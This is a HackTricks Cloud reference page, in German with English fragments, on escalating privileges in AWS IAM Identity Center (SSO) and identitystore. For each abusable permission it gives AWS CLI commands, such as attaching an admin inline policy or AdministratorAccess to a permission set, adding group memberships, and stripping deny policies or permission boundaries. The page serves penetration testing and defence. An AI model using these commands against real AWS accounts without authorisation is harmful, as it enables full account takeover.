AWS - SSO & identitystore Privesc
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
AWS Identity Center / AWS SSO
Für mehr Informationen über AWS Identity Center / AWS SSO siehe:
AWS - IAM, Identity Center & SSO Enum
warning
Beachte, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management Account Zugriff auf und das IAM Identity Center kontrollieren können.
Benutzer aus anderen Konten können dies nur, wenn das Konto ein Delegated Administrator ist.
Check the docs for more info.
Passwort zurücksetzen
Eine einfache Methode zur Eskalation von Rechten in solchen Fällen wäre, eine Berechtigung zu haben, die es erlaubt, Benutzerpasswörter zurückzusetzen. Leider ist es nur möglich, dem Benutzer eine E-Mail zum Zurücksetzen seines Passworts zu senden, daher bräuchtest du Zugriff auf die E-Mail des Benutzers.
identitystore:CreateGroupMembership
Mit dieser Berechtigung kann ein Benutzer in eine Gruppe gesetzt werden, sodass er alle Berechtigungen der Gruppe erbt.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem unter seiner Kontrolle stehenden user zugewiesen wurde, zusätzliche Berechtigungen gewähren.
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem Benutzer unter seiner Kontrolle zugewiesen ist, zusätzliche Berechtigungen gewähren.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Ein Angreifer mit dieser Berechtigung könnte einem Permission Set, das einem von ihm kontrollierten Benutzer zugewiesen ist, zusätzliche Berechtigungen gewähren.
warning
Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den name of a customer managed policy that is inside ALL the accounts kennen, die betroffen sein werden.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Ein Angreifer mit dieser Berechtigung könnte einem von ihm kontrollierten Benutzer ein Permission Set für ein Konto zuweisen.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Gibt die kurzfristigen STS-Anmeldeinformationen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Allerdings wird ein access token benötigt, dessen Beschaffung mir nicht bekannt ist (TODO).
sso:DetachManagedPolicyFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Zuordnung einer AWS managed policy aus dem angegebenen permission set entfernen. Es ist möglich, mehr Privilegien zu gewähren durch detaching a managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Zuordnung zwischen einer Customer managed policy und dem angegebenen permission set entfernen. Es ist möglich, zusätzliche Rechte zu erlangen, indem man detaching a managed policy (deny policy) durchführt.
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Ein attacker mit dieser Berechtigung kann tatsächlich die Berechtigungen einer inline policy aus dem permission set entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem man eine inline policy (deny policy) abtrennt.
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Ein Angreifer mit dieser Berechtigung kann die Permission Boundary aus dem Permission Set entfernen. Dadurch ist es möglich, mehr Privilegien zu gewähren, indem die durch die Permission Boundary auferlegten Beschränkungen des Permission Set entfernt werden.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud